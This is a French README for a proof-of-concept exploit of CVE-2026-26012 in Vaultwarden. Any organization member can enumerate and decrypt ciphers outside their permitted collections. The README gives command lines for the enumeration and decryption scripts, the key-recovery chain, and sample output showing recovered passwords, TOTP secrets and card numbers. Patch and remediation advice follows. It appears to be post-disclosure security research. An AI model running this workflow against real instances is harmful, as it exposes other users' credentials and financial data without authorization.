
Preuve de concept pour CVE-2026-26012, un contrôle d'accès défaillant dans Vaultwarden qui permet à tout membre d'une organisation d'énumérer et de déchiffrer tous les coffres, contournant les autorisations de collection.
Énumération complète des ciphers ignorant les permissions de collection d'organisation
Une preuve de concept d'exploitation pour CVE-2026-26012, une vulnérabilité de contrôle d'accès cassé dans Vaultwarden (<= 1.35.2) qui permet à tout membre de l'organisation de récupérer et de déchiffrer tous les ciphers de l'organisation, indépendamment des permissions au niveau des collections.
🤖 Note : Ce projet a été développé avec l'assistance de Claude 3 Opus. L'IA a été utilisée pour la génération de code, la structure architecturale et la documentation. Toutes les sorties ont été revues manuellement et testées pour l'assurance qualité.
| CVE | CVE-2026-26012 |
| Avis de sécurité | GHSA-h265-g7rm-h337 |
| Versions affectées | Vaultwarden ≤ 1.35.2 |
| Corrigé dans | 1.35.3 |
| CVSS 3.1 | 6.5 (Moyen) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Autorisation incorrecte |
| Crédit | Découvert par @odgrso, corrigé par @BlackDex |
Le point de terminaison API GET /api/ciphers/organization-details est accessible à tout membre de l'organisation. En interne, il appelle Cipher::find_by_org qui renvoie tous les ciphers de l'organisation, puis les sert avec CipherSyncType::Organization sans appliquer le contrôle d'accès au niveau des collections.
Étant donné que tous les ciphers de l'organisation partagent la même clé de chiffrement d'organisation (que chaque membre reçoit lors de son adhésion), les ciphers divulgués peuvent être entièrement déchiffrés côté client.
Membre régulier de l'organisation (restreint à la collection « Public »)
│
├── GET /api/sync → 5 ciphers (correct)
│
└── GET /api/ciphers/organization-details
└──→ 47 ciphers (TOUS les ciphers de l'org — BUG)
└──→ 42 ciphers de collections restreintes (DIVULGUÉS)
└──→ Déchiffrables avec la clé d'org que le membre possède déjà
.
├── README.md # Ce fichier
├── poc_cve_2026_26012.py # Phase 1 : Énumération des ciphers et détection de fuite
├── poc_decrypt.py # Phase 2 : Récupération de la clé d'org et déchiffrement des ciphers
└── LICENSE
cryptography (pour le déchiffrement de la Phase 2)argon2-cffi (uniquement si l'instance cible utilise le KDF Argon2id)pip install cryptography
pip install argon2-cffi # optionnel
Détecte si l'instance est vulnérable en comparant les ciphers renvoyés par le point de terminaison normal /api/sync par rapport au point de terminaison vulnérable /api/ciphers/organization-details.
# Authentifiez-vous via le navigateur (SSO + 2FA pris en charge), puis transmettez le jeton Bearer
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Jeton Bearer (recommandé — fonctionne avec SSO + 2FA)
--token "eyJhbGciOi..."
# Cookie de session
--cookie "VAULTWARDEN_SESSION=abc123..."
# En-tête Cookie brut (plusieurs cookies)
--cookie-header "session=abc; token=xyz"
# Connexion directe par mot de passe (PAS de SSO, PAS de 2FA uniquement)
--email [email protected] --password "MasterPassword"
Comment extraire votre jeton Bearer :
/api/... et copiez la valeur de l'en-tête Authorization--no-verify-ssl # Ignorer la vérification SSL (certificats auto-signés)
--show-all # Afficher également les ciphers légitimement accessibles
--max-display 50 # Nombre maximal de ciphers divulgués à afficher (défaut : 20)
--output results.json # Exporter les résultats complets en JSON
Récupère la clé de chiffrement de l'organisation et déchiffre tous les ciphers divulgués de la Phase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Note :
--master-passwordest votre mot de passe principal Vaultwarden, utilisé localement pour dériver la chaîne de clés de déchiffrement. Il n'est jamais envoyé sur le réseau. Le--tokengère l'authentification API.
Dépannage : Si le déchiffrement de la clé échoue, ajoutez
--debugpour voir les valeurs intermédiaires à chaque étape. Le script essaie automatiquement 5 stratégies (HKDF moderne, HMAC hérité, clé brute et variantes HMAC-skip) pour gérer différents âges de compte et configurations.
Si vous possédez déjà la clé d'organisation de 64 octets (128 caractères hexadécimaux) :
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Chaîne de récupération de clé ===
[1/6] Récupération des paramètres KDF...
KDF : PBKDF2-SHA256, itérations : 600000
[2/6] Dérivation de la clé principale...
[3/6] Étirement de la clé principale (HKDF-Expand)...
[4/6] Récupération des clés chiffrées depuis /api/sync...
Organisation : ACME Corp
[5/6] Déchiffrement de la clé symétrique utilisateur...
[6/6] Déchiffrement de la clé privée RSA → Clé d'organisation...
[+] Clé d'organisation récupérée avec succès !
[*] Déchiffrement de 42 cipher(s)...
============================================================
RÉSULTATS DU DÉCHIFFREMENT
============================================================
Total : 42
Déchiffrés : 42
Erreurs : 0
RÉSUMÉ DE L'IMPACT
Mots de passe récupérés : 35
Secrets TOTP récupérés : 12
Numéros de cartes récupérés : 3
============================================================
Chaque membre de l'organisation possède déjà la clé symétrique de l'organisation, chiffrée avec sa clé publique RSA. La chaîne de déchiffrement est :
Mot de passe principal + Email
│ PBKDF2-SHA256 ou Argon2id
▼
Clé principale (32 octets)
│ HKDF-Expand-SHA256
▼
Clé étirée : encKey (32B) ║ macKey (32B)
│ AES-256-CBC (déchiffre profile.key)
▼
Clé symétrique utilisateur : encKey (32B) ║ macKey (32B)
│ AES-256-CBC (déchiffre profile.privateKey)
▼
Clé privée RSA (PKCS#8 DER 2048 bits)
│ RSA-OAEP-SHA1 (déchiffre profile.organizations[].key)
▼
Clé d'organisation : encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Données de cipher déchiffrées
Dans le modèle Bitwarden/Vaultwarden, tous les ciphers d'une organisation partagent la même clé de chiffrement. Le contrôle d'accès basé sur les collections est appliqué uniquement côté serveur — le modèle cryptographique n'applique pas les limites de collections. Tout membre disposant de la clé d'org peut déchiffrer n'importe quel cipher de l'organisation. Cette CVE contourne le filtre côté serveur, exposant tous les ciphers à tout membre.
| Type de cipher | Champs déchiffrés |
|---|---|
| Connexion | nom d'utilisateur, mot de passe, secret TOTP, URI |
| Carte | titulaire, numéro, CVV, expiration |
| Identité | nom, NSS, passeport, adresse, téléphone, e-mail |
| Note sécurisée | contenu complet de la note |
| Tous les types | champs personnalisés, métadonnées de pièces jointes |
Mettez à jour Vaultwarden vers 1.35.3 ou une version ultérieure immédiatement.
docker pull vaultwarden/server:1.35.3
Après le correctif, exécutez à nouveau la Phase 1 pour confirmer la correction — l'outil doit signaler NOT VULNERABLE.
Si vous exécutiez une version vulnérable dans une organisation multi-utilisateurs :
/api/ciphers/organization-detailsCe PoC est publié après que la vulnérabilité a été divulguée publiquement et corrigée :
Ce PoC n'existerait pas sans le travail des chercheurs en sécurité et des mainteneurs d'origine :
| Rôle | Qui | Contribution |
|---|---|---|
| Signaleur de vulnérabilité | @odgrso | A découvert et divulgué de manière responsable CVE-2026-26012 |
| Développeur de remédiation | @BlackDex | A développé et livré le correctif dans Vaultwarden 1.35.3 |
| Mainteneur du projet | @dani-garcia | Créateur de Vaultwarden, a coordonné l'avis et la publication |
Merci de contribuer à la sécurité de l'écosystème open source.
Cette preuve de concept est fournie strictement pour des tests de sécurité autorisés et à des fins éducatives. Vous devez disposer d'une autorisation écrite explicite avant de tester tout système que vous ne possédez pas. L'accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni) et des lois équivalentes dans le monde entier. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
MIT — Voir LICENSE.